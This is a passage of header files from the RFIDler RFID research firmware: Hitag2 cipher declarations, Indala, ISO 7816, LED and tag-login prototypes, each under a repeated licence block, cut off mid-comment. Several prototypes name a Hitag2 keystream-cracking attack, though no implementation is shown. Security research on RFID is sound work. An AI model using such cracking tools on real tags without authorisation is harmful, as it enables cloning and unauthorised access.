BOOL hitag2crack_consume_keystream(BYTE *keybits, int kslen, int *ksoffset, BYTE *nrar);
BOOL hitag2crack_extend_keystream(BYTE *keybits, int *kslen, int ksoffset, BYTE *nrar, BYTE *uid);
BOOL hitag2_reader(BYTE *response, BYTE *key, BOOL interactive);
void hitag2_nvm_clear();
BOOL hitag2_nvm_store_tag(BYTE *tag);
BYTE *hitag2_nvm_find_tag(BYTE *tag);
BOOL hitag2_nvm_count_tags();
BOOL hitag2_nvm_display_tags(uint32_t start, uint32_t end);
================================================
FILE: firmware/Pic32/RFIDler.X/include/hitagcrypto.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs , Adam Laurie
#ifndef HITAGCRYPTO_H
#define HITAGCRYPTO_H
#include
/*
Our model of Hitag 2 crypto uses 2 parallel shift registers:
a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.
b. 48 bit Linear Feedback Shift Register (LFSR).
A transform of initial register (a) value, which is then run in parallel.
Enables much faster calculation of the feedback values.
API:
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,
uint32_t initvector);
Initialise state from 48 bit shared (secret) reader/tag key,
32 bit tag serial number and 32 bit initialisation vector from reader.
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
update shift register state and generate N cipher bits (N should be <= 32)
*/
typedef struct {
uint64_t shiftreg; // naive shift register, required for nonlinear fn input
uint64_t lfsr; // fast lfsr, used to make software faster
} Hitag_State;
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
unsigned int hitag2_benchtest_gen32();
unsigned int hitag2_benchtest(uint32_t count);
unsigned hitag2_verifytest();
#endif /* HITAGCRYPTO_H */
================================================
FILE: firmware/Pic32/RFIDler.X/include/indala.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define INDALA_64_DATABITS 64
#define INDALA_224_DATABITS 224
// definitions for Indala devices
BOOL send_indala_raw(unsigned char *indala);
BOOL indala64_get_uid(BYTE *response);
BOOL indala64_hex_to_uid(BYTE *response, BYTE *hex);
BOOL indala224_get_uid(BYTE *response);
BOOL indala224_hex_to_uid(BYTE *response, BYTE *hex);
================================================
FILE: firmware/Pic32/RFIDler.X/include/iso_7816.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "./Smart Card/SClib.h"
extern SC_APDU_COMMAND cardCommand;
extern SC_APDU_RESPONSE cardResponse;
extern BYTE apduData[255];
BOOL send_iso_7816_apdu(BYTE cla, BYTE ins, BYTE p1, BYTE p2, BYTE lc, BYTE *data, BYTE le);
BOOL iso_7816_send_hex_apdu(BYTE *apdu);
void iso_7816_output();
================================================
FILE: firmware/Pic32/RFIDler.X/include/led.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL led_get(BYTE led);
BOOL led_set(BYTE led, BOOL state);
BOOL led_toggle(BYTE led);
BOOL led_on(BYTE led);
BOOL led_off(BYTE led);
================================================
FILE: firmware/Pic32/RFIDler.X/include/login.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL tag_login(unsigned int block, BYTE *response, BYTE *pwd);
================================================
FILE: firmware/Pic32/RFIDler.X/include/mcp414x.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
